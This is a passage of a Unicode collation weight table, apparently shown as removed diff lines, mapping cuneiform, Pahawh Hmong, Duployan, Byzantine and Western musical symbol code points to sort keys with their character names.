-12461 ; [*1B63.0020.0002] # CUNEIFORM NUMERIC SIGN OLD ASSYRIAN ONE SIXTH
-12462 ; [*1B64.0020.0002] # CUNEIFORM NUMERIC SIGN OLD ASSYRIAN ONE QUARTER
-12463 ; [*1B65.0020.0002] # CUNEIFORM NUMERIC SIGN ONE QUARTER GUR
-12464 ; [*1B66.0020.0002] # CUNEIFORM NUMERIC SIGN ONE HALF GUR
-12465 ; [*1B67.0020.0002] # CUNEIFORM NUMERIC SIGN ELAMITE ONE THIRD
-12466 ; [*1B68.0020.0002] # CUNEIFORM NUMERIC SIGN ELAMITE TWO THIRDS
-12467 ; [*1B69.0020.0002] # CUNEIFORM NUMERIC SIGN ELAMITE FORTY
-12468 ; [*1B6A.0020.0002] # CUNEIFORM NUMERIC SIGN ELAMITE FIFTY
-12470 ; [*02F9.0020.0002] # CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER
-12471 ; [*02FA.0020.0002] # CUNEIFORM PUNCTUATION SIGN VERTICAL COLON
-12472 ; [*02FB.0020.0002] # CUNEIFORM PUNCTUATION SIGN DIAGONAL COLON
-12473 ; [*02FC.0020.0002] # CUNEIFORM PUNCTUATION SIGN DIAGONAL TRICOLON
-12474 ; [*02FD.0020.0002] # CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON
-16A6E ; [*02B9.0020.0002] # MRO DANDA
-16A6F ; [*02BA.0020.0002] # MRO DOUBLE DANDA
-16AF5 ; [*0285.0020.0002] # BASSA VAH FULL STOP
-16B37 ; [*0458.0020.0002] # PAHAWH HMONG SIGN VOS THOM
-16B38 ; [*0459.0020.0002] # PAHAWH HMONG SIGN VOS TSHAB CEEB
-16B39 ; [*045A.0020.0002] # PAHAWH HMONG SIGN CIM CHEEM
-16B3A ; [*045B.0020.0002] # PAHAWH HMONG SIGN VOS THIAB
-16B3B ; [*045C.0020.0002] # PAHAWH HMONG SIGN VOS FEEM
-16B3C ; [*0FAB.0020.0002] # PAHAWH HMONG SIGN XYEEM NTXIV
-16B3D ; [*0FAC.0020.0002] # PAHAWH HMONG SIGN XYEEM RHO
-16B3E ; [*0FAD.0020.0002] # PAHAWH HMONG SIGN XYEEM TOV
-16B3F ; [*0FAE.0020.0002] # PAHAWH HMONG SIGN XYEEM FAIB
-16B44 ; [*045D.0020.0002] # PAHAWH HMONG SIGN XAUS
-16B45 ; [*0FAF.0020.0002] # PAHAWH HMONG SIGN CIM TSOV ROG
-16B5B ; [*1B1C.0020.0002] # PAHAWH HMONG NUMBER TENS
-16B5C ; [*1B1D.0020.0002] # PAHAWH HMONG NUMBER HUNDREDS
-16B5D ; [*1B1E.0020.0002] # PAHAWH HMONG NUMBER TEN THOUSANDS
-16B5E ; [*1B1F.0020.0002] # PAHAWH HMONG NUMBER MILLIONS
-16B5F ; [*1B20.0020.0002] # PAHAWH HMONG NUMBER HUNDRED MILLIONS
-16B60 ; [*1B21.0020.0002] # PAHAWH HMONG NUMBER TEN BILLIONS
-16B61 ; [*1B22.0020.0002] # PAHAWH HMONG NUMBER TRILLIONS
-1BC9C ; [*11A0.0020.0002] # DUPLOYAN SIGN O WITH CROSS
-1BC9F ; [*0286.0020.0002] # DUPLOYAN PUNCTUATION CHINOOK FULL STOP
-1D000 ; [*0FB0.0020.0002] # BYZANTINE MUSICAL SYMBOL PSILI
-1D001 ; [*0FB1.0020.0002] # BYZANTINE MUSICAL SYMBOL DASEIA
-1D002 ; [*0FB2.0020.0002] # BYZANTINE MUSICAL SYMBOL PERISPOMENI
-1D003 ; [*0FB3.0020.0002] # BYZANTINE MUSICAL SYMBOL OXEIA EKFONITIKON
-1D004 ; [*0FB4.0020.0002] # BYZANTINE MUSICAL SYMBOL OXEIA DIPLI
-1D005 ; [*0FB5.0020.0002] # BYZANTINE MUSICAL SYMBOL VAREIA EKFONITIKON
-1D006 ; [*0FB6.0020.0002] # BYZANTINE MUSICAL SYMBOL VAREIA DIPLI
-1D007 ; [*0FB7.0020.0002] # BYZANTINE MUSICAL SYMBOL KATHISTI
-1D008 ; [*0FB8.0020.0002] # BYZANTINE MUSICAL SYMBOL SYRMATIKI
-1D009 ; [*0FB9.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKLITIKI
-1D00A ; [*0FBA.0020.0002] # BYZANTINE MUSICAL SYMBOL YPOKRISIS
-1D00B ; [*0FBB.0020.0002] # BYZANTINE MUSICAL SYMBOL YPOKRISIS DIPLI
-1D00C ; [*0FBC.0020.0002] # BYZANTINE MUSICAL SYMBOL KREMASTI
-1D00D ; [*0FBD.0020.0002] # BYZANTINE MUSICAL SYMBOL APESO EKFONITIKON
-1D00E ; [*0FBE.0020.0002] # BYZANTINE MUSICAL SYMBOL EXO EKFONITIKON
-1D00F ; [*0FBF.0020.0002] # BYZANTINE MUSICAL SYMBOL TELEIA
-1D010 ; [*0FC0.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA
-1D011 ; [*0FC1.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOS
-1D012 ; [*0FC2.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOS DIPLI
-1D013 ; [*0FC3.0020.0002] # BYZANTINE MUSICAL SYMBOL SYNEVMA
-1D014 ; [*0FC4.0020.0002] # BYZANTINE MUSICAL SYMBOL THITA
-1D015 ; [*0FC5.0020.0002] # BYZANTINE MUSICAL SYMBOL OLIGON ARCHAION
-1D016 ; [*0FC6.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON ARCHAION
-1D017 ; [*0FC7.0020.0002] # BYZANTINE MUSICAL SYMBOL PSILON
-1D018 ; [*0FC8.0020.0002] # BYZANTINE MUSICAL SYMBOL CHAMILON
-1D019 ; [*0FC9.0020.0002] # BYZANTINE MUSICAL SYMBOL VATHY
-1D01A ; [*0FCA.0020.0002] # BYZANTINE MUSICAL SYMBOL ISON ARCHAION
-1D01B ; [*0FCB.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMA ARCHAION
-1D01C ; [*0FCC.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA ARCHAION
-1D01D ; [*0FCD.0020.0002] # BYZANTINE MUSICAL SYMBOL SAXIMATA
-1D01E ; [*0FCE.0020.0002] # BYZANTINE MUSICAL SYMBOL PARICHON
-1D01F ; [*0FCF.0020.0002] # BYZANTINE MUSICAL SYMBOL STAVROS APODEXIA
-1D020 ; [*0FD0.0020.0002] # BYZANTINE MUSICAL SYMBOL OXEIAI ARCHAION
-1D021 ; [*0FD1.0020.0002] # BYZANTINE MUSICAL SYMBOL VAREIAI ARCHAION
-1D022 ; [*0FD2.0020.0002] # BYZANTINE MUSICAL SYMBOL APODERMA ARCHAION
-1D023 ; [*0FD3.0020.0002] # BYZANTINE MUSICAL SYMBOL APOTHEMA
-1D024 ; [*0FD4.0020.0002] # BYZANTINE MUSICAL SYMBOL KLASMA
-1D025 ; [*0FD5.0020.0002] # BYZANTINE MUSICAL SYMBOL REVMA
-1D026 ; [*0FD6.0020.0002] # BYZANTINE MUSICAL SYMBOL PIASMA ARCHAION
-1D027 ; [*0FD7.0020.0002] # BYZANTINE MUSICAL SYMBOL TINAGMA
-1D028 ; [*0FD8.0020.0002] # BYZANTINE MUSICAL SYMBOL ANATRICHISMA
-1D029 ; [*0FD9.0020.0002] # BYZANTINE MUSICAL SYMBOL SEISMA
-1D02A ; [*0FDA.0020.0002] # BYZANTINE MUSICAL SYMBOL SYNAGMA ARCHAION
-1D02B ; [*0FDB.0020.0002] # BYZANTINE MUSICAL SYMBOL SYNAGMA META STAVROU
-1D02C ; [*0FDC.0020.0002] # BYZANTINE MUSICAL SYMBOL OYRANISMA ARCHAION
-1D02D ; [*0FDD.0020.0002] # BYZANTINE MUSICAL SYMBOL THEMA
-1D02E ; [*0FDE.0020.0002] # BYZANTINE MUSICAL SYMBOL LEMOI
-1D02F ; [*0FDF.0020.0002] # BYZANTINE MUSICAL SYMBOL DYO
-1D030 ; [*0FE0.0020.0002] # BYZANTINE MUSICAL SYMBOL TRIA
-1D031 ; [*0FE1.0020.0002] # BYZANTINE MUSICAL SYMBOL TESSERA
-1D032 ; [*0FE2.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMATA
-1D033 ; [*0FE3.0020.0002] # BYZANTINE MUSICAL SYMBOL APESO EXO NEO
-1D034 ; [*0FE4.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA ARCHAION
-1D035 ; [*0FE5.0020.0002] # BYZANTINE MUSICAL SYMBOL IMIFTHORA
-1D036 ; [*0FE6.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKON ARCHAION
-1D037 ; [*0FE7.0020.0002] # BYZANTINE MUSICAL SYMBOL KATAVA TROMIKON
-1D038 ; [*0FE8.0020.0002] # BYZANTINE MUSICAL SYMBOL PELASTON
-1D039 ; [*0FE9.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTON
-1D03A ; [*0FEA.0020.0002] # BYZANTINE MUSICAL SYMBOL KONTEVMA
-1D03B ; [*0FEB.0020.0002] # BYZANTINE MUSICAL SYMBOL CHOREVMA ARCHAION
-1D03C ; [*0FEC.0020.0002] # BYZANTINE MUSICAL SYMBOL RAPISMA
-1D03D ; [*0FED.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKALESMA ARCHAION
-1D03E ; [*0FEE.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKLITIKI ARCHAION
-1D03F ; [*0FEF.0020.0002] # BYZANTINE MUSICAL SYMBOL ICHADIN
-1D040 ; [*0FF0.0020.0002] # BYZANTINE MUSICAL SYMBOL NANA
-1D041 ; [*0FF1.0020.0002] # BYZANTINE MUSICAL SYMBOL PETASMA
-1D042 ; [*0FF2.0020.0002] # BYZANTINE MUSICAL SYMBOL KONTEVMA ALLO
-1D043 ; [*0FF3.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKON ALLO
-1D044 ; [*0FF4.0020.0002] # BYZANTINE MUSICAL SYMBOL STRAGGISMATA
-1D045 ; [*0FF5.0020.0002] # BYZANTINE MUSICAL SYMBOL GRONTHISMATA
-1D046 ; [*0FF6.0020.0002] # BYZANTINE MUSICAL SYMBOL ISON NEO
-1D047 ; [*0FF7.0020.0002] # BYZANTINE MUSICAL SYMBOL OLIGON NEO
-1D048 ; [*0FF8.0020.0002] # BYZANTINE MUSICAL SYMBOL OXEIA NEO
-1D049 ; [*0FF9.0020.0002] # BYZANTINE MUSICAL SYMBOL PETASTI
-1D04A ; [*0FFA.0020.0002] # BYZANTINE MUSICAL SYMBOL KOUFISMA
-1D04B ; [*0FFB.0020.0002] # BYZANTINE MUSICAL SYMBOL PETASTOKOUFISMA
-1D04C ; [*0FFC.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMOKOUFISMA
-1D04D ; [*0FFD.0020.0002] # BYZANTINE MUSICAL SYMBOL PELASTON NEO
-1D04E ; [*0FFE.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA NEO ANO
-1D04F ; [*0FFF.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMA NEO ANO
-1D050 ; [*1000.0020.0002] # BYZANTINE MUSICAL SYMBOL YPSILI
-1D051 ; [*1001.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOS NEO
-1D052 ; [*1002.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOI SYNDESMOS NEO
-1D053 ; [*1003.0020.0002] # BYZANTINE MUSICAL SYMBOL YPORROI
-1D054 ; [*1004.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMOYPORROON
-1D055 ; [*1005.0020.0002] # BYZANTINE MUSICAL SYMBOL ELAFRON
-1D056 ; [*1006.0020.0002] # BYZANTINE MUSICAL SYMBOL CHAMILI
-1D057 ; [*1007.0020.0002] # BYZANTINE MUSICAL SYMBOL MIKRON ISON
-1D058 ; [*1008.0020.0002] # BYZANTINE MUSICAL SYMBOL VAREIA NEO
-1D059 ; [*1009.0020.0002] # BYZANTINE MUSICAL SYMBOL PIASMA NEO
-1D05A ; [*100A.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTON NEO
-1D05B ; [*100B.0020.0002] # BYZANTINE MUSICAL SYMBOL OMALON
-1D05C ; [*100C.0020.0002] # BYZANTINE MUSICAL SYMBOL ANTIKENOMA
-1D05D ; [*100D.0020.0002] # BYZANTINE MUSICAL SYMBOL LYGISMA
-1D05E ; [*100E.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKLITIKI NEO
-1D05F ; [*100F.0020.0002] # BYZANTINE MUSICAL SYMBOL PARAKALESMA NEO
-1D060 ; [*1010.0020.0002] # BYZANTINE MUSICAL SYMBOL ETERON PARAKALESMA
-1D061 ; [*1011.0020.0002] # BYZANTINE MUSICAL SYMBOL KYLISMA
-1D062 ; [*1012.0020.0002] # BYZANTINE MUSICAL SYMBOL ANTIKENOKYLISMA
-1D063 ; [*1013.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKON NEO
-1D064 ; [*1014.0020.0002] # BYZANTINE MUSICAL SYMBOL EKSTREPTON
-1D065 ; [*1015.0020.0002] # BYZANTINE MUSICAL SYMBOL SYNAGMA NEO
-1D066 ; [*1016.0020.0002] # BYZANTINE MUSICAL SYMBOL SYRMA
-1D067 ; [*1017.0020.0002] # BYZANTINE MUSICAL SYMBOL CHOREVMA NEO
-1D068 ; [*1018.0020.0002] # BYZANTINE MUSICAL SYMBOL EPEGERMA
-1D069 ; [*1019.0020.0002] # BYZANTINE MUSICAL SYMBOL SEISMA NEO
-1D06A ; [*101A.0020.0002] # BYZANTINE MUSICAL SYMBOL XIRON KLASMA
-1D06B ; [*101B.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKOPSIFISTON
-1D06C ; [*101C.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTOLYGISMA
-1D06D ; [*101D.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKOLYGISMA
-1D06E ; [*101E.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKOPARAKALESMA
-1D06F ; [*101F.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTOPARAKALESMA
-1D070 ; [*1020.0020.0002] # BYZANTINE MUSICAL SYMBOL TROMIKOSYNAGMA
-1D071 ; [*1021.0020.0002] # BYZANTINE MUSICAL SYMBOL PSIFISTOSYNAGMA
-1D072 ; [*1022.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGOSYNTHETON
-1D073 ; [*1023.0020.0002] # BYZANTINE MUSICAL SYMBOL ARGOSYNTHETON
-1D074 ; [*1024.0020.0002] # BYZANTINE MUSICAL SYMBOL ETERON ARGOSYNTHETON
-1D075 ; [*1025.0020.0002] # BYZANTINE MUSICAL SYMBOL OYRANISMA NEO
-1D076 ; [*1026.0020.0002] # BYZANTINE MUSICAL SYMBOL THEMATISMOS ESO
-1D077 ; [*1027.0020.0002] # BYZANTINE MUSICAL SYMBOL THEMATISMOS EXO
-1D078 ; [*1028.0020.0002] # BYZANTINE MUSICAL SYMBOL THEMA APLOUN
-1D079 ; [*1029.0020.0002] # BYZANTINE MUSICAL SYMBOL THES KAI APOTHES
-1D07A ; [*102A.0020.0002] # BYZANTINE MUSICAL SYMBOL KATAVASMA
-1D07B ; [*102B.0020.0002] # BYZANTINE MUSICAL SYMBOL ENDOFONON
-1D07C ; [*102C.0020.0002] # BYZANTINE MUSICAL SYMBOL YFEN KATO
-1D07D ; [*102D.0020.0002] # BYZANTINE MUSICAL SYMBOL YFEN ANO
-1D07E ; [*102E.0020.0002] # BYZANTINE MUSICAL SYMBOL STAVROS
-1D07F ; [*102F.0020.0002] # BYZANTINE MUSICAL SYMBOL KLASMA ANO
-1D080 ; [*1030.0020.0002] # BYZANTINE MUSICAL SYMBOL DIPLI ARCHAION
-1D081 ; [*1031.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMA ARCHAION
-1D082 ; [*1032.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMA ALLO
-1D083 ; [*1033.0020.0002] # BYZANTINE MUSICAL SYMBOL KRATIMA NEO
-1D084 ; [*1034.0020.0002] # BYZANTINE MUSICAL SYMBOL APODERMA NEO
-1D085 ; [*1035.0020.0002] # BYZANTINE MUSICAL SYMBOL APLI
-1D086 ; [*1036.0020.0002] # BYZANTINE MUSICAL SYMBOL DIPLI
-1D087 ; [*1037.0020.0002] # BYZANTINE MUSICAL SYMBOL TRIPLI
-1D088 ; [*1038.0020.0002] # BYZANTINE MUSICAL SYMBOL TETRAPLI
-1D089 ; [*1039.0020.0002] # BYZANTINE MUSICAL SYMBOL KORONIS
-1D08A ; [*103A.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA ENOS CHRONOU
-1D08B ; [*103B.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA DYO CHRONON
-1D08C ; [*103C.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA TRION CHRONON
-1D08D ; [*103D.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA TESSARON CHRONON
-1D08E ; [*103E.0020.0002] # BYZANTINE MUSICAL SYMBOL LEIMMA IMISEOS CHRONOU
-1D08F ; [*103F.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON NEO ANO
-1D090 ; [*1040.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON PARESTIGMENON ARISTERA
-1D091 ; [*1041.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON PARESTIGMENON DEXIA
-1D092 ; [*1042.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGORGON
-1D093 ; [*1043.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGORGON PARESTIGMENON ARISTERA KATO
-1D094 ; [*1044.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGORGON PARESTIGMENON ARISTERA ANO
-1D095 ; [*1045.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGORGON PARESTIGMENON DEXIA
-1D096 ; [*1046.0020.0002] # BYZANTINE MUSICAL SYMBOL TRIGORGON
-1D097 ; [*1047.0020.0002] # BYZANTINE MUSICAL SYMBOL ARGON
-1D098 ; [*1048.0020.0002] # BYZANTINE MUSICAL SYMBOL IMIDIARGON
-1D099 ; [*1049.0020.0002] # BYZANTINE MUSICAL SYMBOL DIARGON
-1D09A ; [*104A.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI POLI ARGI
-1D09B ; [*104B.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI ARGOTERI
-1D09C ; [*104C.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI ARGI
-1D09D ; [*104D.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI METRIA
-1D09E ; [*104E.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI MESI
-1D09F ; [*104F.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI GORGI
-1D0A0 ; [*1050.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI GORGOTERI
-1D0A1 ; [*1051.0020.0002] # BYZANTINE MUSICAL SYMBOL AGOGI POLI GORGI
-1D0A2 ; [*1052.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA PROTOS ICHOS
-1D0A3 ; [*1053.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA ALLI PROTOS ICHOS
-1D0A4 ; [*1054.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA DEYTEROS ICHOS
-1D0A5 ; [*1055.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA ALLI DEYTEROS ICHOS
-1D0A6 ; [*1056.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA TRITOS ICHOS
-1D0A7 ; [*1057.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA TRIFONIAS
-1D0A8 ; [*1058.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA TETARTOS ICHOS
-1D0A9 ; [*1059.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA TETARTOS LEGETOS ICHOS
-1D0AA ; [*105A.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA LEGETOS ICHOS
-1D0AB ; [*105B.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA PLAGIOS ICHOS
-1D0AC ; [*105C.0020.0002] # BYZANTINE MUSICAL SYMBOL ISAKIA TELOUS ICHIMATOS
-1D0AD ; [*105D.0020.0002] # BYZANTINE MUSICAL SYMBOL APOSTROFOI TELOUS ICHIMATOS
-1D0AE ; [*105E.0020.0002] # BYZANTINE MUSICAL SYMBOL FANEROSIS TETRAFONIAS
-1D0AF ; [*105F.0020.0002] # BYZANTINE MUSICAL SYMBOL FANEROSIS MONOFONIAS
-1D0B0 ; [*1060.0020.0002] # BYZANTINE MUSICAL SYMBOL FANEROSIS DIFONIAS
-1D0B1 ; [*1061.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA VARYS ICHOS
-1D0B2 ; [*1062.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA PROTOVARYS ICHOS
-1D0B3 ; [*1063.0020.0002] # BYZANTINE MUSICAL SYMBOL MARTYRIA PLAGIOS TETARTOS ICHOS
-1D0B4 ; [*1064.0020.0002] # BYZANTINE MUSICAL SYMBOL GORTHMIKON N APLOUN
-1D0B5 ; [*1065.0020.0002] # BYZANTINE MUSICAL SYMBOL GORTHMIKON N DIPLOUN
-1D0B6 ; [*1066.0020.0002] # BYZANTINE MUSICAL SYMBOL ENARXIS KAI FTHORA VOU
-1D0B7 ; [*1067.0020.0002] # BYZANTINE MUSICAL SYMBOL IMIFONON
-1D0B8 ; [*1068.0020.0002] # BYZANTINE MUSICAL SYMBOL IMIFTHORON
-1D0B9 ; [*1069.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA ARCHAION DEYTEROU ICHOU
-1D0BA ; [*106A.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI PA
-1D0BB ; [*106B.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI NANA
-1D0BC ; [*106C.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA NAOS ICHOS
-1D0BD ; [*106D.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI DI
-1D0BE ; [*106E.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA SKLIRON DIATONON DI
-1D0BF ; [*106F.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI KE
-1D0C0 ; [*1070.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI ZO
-1D0C1 ; [*1071.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI NI KATO
-1D0C2 ; [*1072.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA DIATONIKI NI ANO
-1D0C3 ; [*1073.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA MALAKON CHROMA DIFONIAS
-1D0C4 ; [*1074.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA MALAKON CHROMA MONOFONIAS
-1D0C5 ; [*1075.0020.0002] # BYZANTINE MUSICAL SYMBOL FHTORA SKLIRON CHROMA VASIS
-1D0C6 ; [*1076.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA SKLIRON CHROMA SYNAFI
-1D0C7 ; [*1077.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA NENANO
-1D0C8 ; [*1078.0020.0002] # BYZANTINE MUSICAL SYMBOL CHROA ZYGOS
-1D0C9 ; [*1079.0020.0002] # BYZANTINE MUSICAL SYMBOL CHROA KLITON
-1D0CA ; [*107A.0020.0002] # BYZANTINE MUSICAL SYMBOL CHROA SPATHI
-1D0CB ; [*107B.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA I YFESIS TETARTIMORION
-1D0CC ; [*107C.0020.0002] # BYZANTINE MUSICAL SYMBOL FTHORA ENARMONIOS ANTIFONIA
-1D0CD ; [*107D.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS TRITIMORION
-1D0CE ; [*107E.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS TRITIMORION
-1D0CF ; [*107F.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS TETARTIMORION
-1D0D0 ; [*1080.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS APLI DYO DODEKATA
-1D0D1 ; [*1081.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS MONOGRAMMOS TESSERA DODEKATA
-1D0D2 ; [*1082.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS DIGRAMMOS EX DODEKATA
-1D0D3 ; [*1083.0020.0002] # BYZANTINE MUSICAL SYMBOL DIESIS TRIGRAMMOS OKTO DODEKATA
-1D0D4 ; [*1084.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS APLI DYO DODEKATA
-1D0D5 ; [*1085.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS MONOGRAMMOS TESSERA DODEKATA
-1D0D6 ; [*1086.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS DIGRAMMOS EX DODEKATA
-1D0D7 ; [*1087.0020.0002] # BYZANTINE MUSICAL SYMBOL YFESIS TRIGRAMMOS OKTO DODEKATA
-1D0D8 ; [*1088.0020.0002] # BYZANTINE MUSICAL SYMBOL GENIKI DIESIS
-1D0D9 ; [*1089.0020.0002] # BYZANTINE MUSICAL SYMBOL GENIKI YFESIS
-1D0DA ; [*108A.0020.0002] # BYZANTINE MUSICAL SYMBOL DIASTOLI APLI MIKRI
-1D0DB ; [*108B.0020.0002] # BYZANTINE MUSICAL SYMBOL DIASTOLI APLI MEGALI
-1D0DC ; [*108C.0020.0002] # BYZANTINE MUSICAL SYMBOL DIASTOLI DIPLI
-1D0DD ; [*108D.0020.0002] # BYZANTINE MUSICAL SYMBOL DIASTOLI THESEOS
-1D0DE ; [*108E.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS THESEOS
-1D0DF ; [*108F.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS THESEOS DISIMOU
-1D0E0 ; [*1090.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS THESEOS TRISIMOU
-1D0E1 ; [*1091.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS THESEOS TETRASIMOU
-1D0E2 ; [*1092.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS ARSEOS
-1D0E3 ; [*1093.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS ARSEOS DISIMOU
-1D0E4 ; [*1094.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS ARSEOS TRISIMOU
-1D0E5 ; [*1095.0020.0002] # BYZANTINE MUSICAL SYMBOL SIMANSIS ARSEOS TETRASIMOU
-1D0E6 ; [*1096.0020.0002] # BYZANTINE MUSICAL SYMBOL DIGRAMMA GG
-1D0E7 ; [*1097.0020.0002] # BYZANTINE MUSICAL SYMBOL DIFTOGGOS OU
-1D0E8 ; [*1098.0020.0002] # BYZANTINE MUSICAL SYMBOL STIGMA
-1D0E9 ; [*1099.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO PA
-1D0EA ; [*109A.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO VOU
-1D0EB ; [*109B.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO GA
-1D0EC ; [*109C.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO DI
-1D0ED ; [*109D.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO KE
-1D0EE ; [*109E.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO ZO
-1D0EF ; [*109F.0020.0002] # BYZANTINE MUSICAL SYMBOL ARKTIKO NI
-1D0F0 ; [*10A0.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA NEO MESO
-1D0F1 ; [*10A1.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMA NEO MESO
-1D0F2 ; [*10A2.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMATA NEO KATO
-1D0F3 ; [*10A3.0020.0002] # BYZANTINE MUSICAL SYMBOL KENTIMA NEO KATO
-1D0F4 ; [*10A4.0020.0002] # BYZANTINE MUSICAL SYMBOL KLASMA KATO
-1D0F5 ; [*10A5.0020.0002] # BYZANTINE MUSICAL SYMBOL GORGON NEO KATO
-1D100 ; [*10A6.0020.0002] # MUSICAL SYMBOL SINGLE BARLINE
-1D101 ; [*10A7.0020.0002] # MUSICAL SYMBOL DOUBLE BARLINE
-1D102 ; [*10A8.0020.0002] # MUSICAL SYMBOL FINAL BARLINE
-1D103 ; [*10A9.0020.0002] # MUSICAL SYMBOL REVERSE FINAL BARLINE
-1D104 ; [*10AA.0020.0002] # MUSICAL SYMBOL DASHED BARLINE
-1D105 ; [*10AB.0020.0002] # MUSICAL SYMBOL SHORT BARLINE
-1D106 ; [*10AC.0020.0002] # MUSICAL SYMBOL LEFT REPEAT SIGN
-1D107 ; [*10AD.0020.0002] # MUSICAL SYMBOL RIGHT REPEAT SIGN
-1D108 ; [*10AE.0020.0002] # MUSICAL SYMBOL REPEAT DOTS
-1D109 ; [*10AF.0020.0002] # MUSICAL SYMBOL DAL SEGNO
-1D10A ; [*10B0.0020.0002] # MUSICAL SYMBOL DA CAPO
-1D10B ; [*10B1.0020.0002] # MUSICAL SYMBOL SEGNO
-1D10C ; [*10B2.0020.0002] # MUSICAL SYMBOL CODA
-1D10D ; [*10B3.0020.0002] # MUSICAL SYMBOL REPEATED FIGURE-1
